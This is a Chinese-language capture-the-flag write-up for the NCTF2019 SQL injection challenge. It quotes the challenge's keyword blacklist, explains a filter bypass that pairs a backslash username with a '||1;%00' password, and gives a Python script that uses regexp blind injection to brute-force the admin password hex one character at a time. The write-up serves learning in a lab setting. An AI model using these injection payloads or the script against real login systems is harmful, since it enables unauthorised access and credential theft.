CTF Web安全

[NCTF2019]SQLi(regexp注入)

Posted on 2020-01-26,2 min read

主页就一个登录框 。把sql语句显示出来了。


再进行一波信息搜集。看看robots.txt
有个hint.txt

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;

拿到flag的条件是post的密码要等于admin密码。并没有对用户名做限制
过滤了很多字符串。这里select字段被过滤了。但是没关系。mysql同一张表中的字段不需要select即可查询。这里只能用盲注。盲注还分时间盲注等。这里regexp即可绕过过滤
在Mysql种%00也是注释符。但是前面必须得加;

此时执行的sql语句为

select * from users where username='\' and passwd='||1;%00'
#where username='xxxx'||1
条件为真时。就会跳转。
条件为假时。就会回到登陆页

我们可以通过regexp来一位位判断密码
由于数据库中密码数据比较多。所以存在很多的密码
得一个个试。有那么多条数据。

最后y(79)开头的那条数据。比较特殊。开头三位是you
写个脚本爆破下这条数据

import requests
from urllib import parse
import string
import time
str1 = string.ascii_letters+'_'+string.digits
url='http://9d86404e-b5c0-41ff-b8ef-f9bbf6da8e8c.node3.buuoj.cn/index.php'
flag='79'
a=parse.unquote('%00')
for i in range(50):
    for i in str1:
        data={"username":"\\",
              "passwd":"||passwd/**/regexp/**/0x"+flag+hex(ord(i)).replace('0x','')+";"+a
            }
        r=requests.post(url=url,data=data)
        if 'welcome.php' in r.text:
            flag+=hex(ord(i)).replace('0x','')
            print(flag)
            break
        time.sleep(0.5)
        #防止429


用户名随意。密码填跑出来的密码。
因为flag条件为POST密码==admin密码即可。

下一篇: [FBCTF2019]Event(SSTI3)→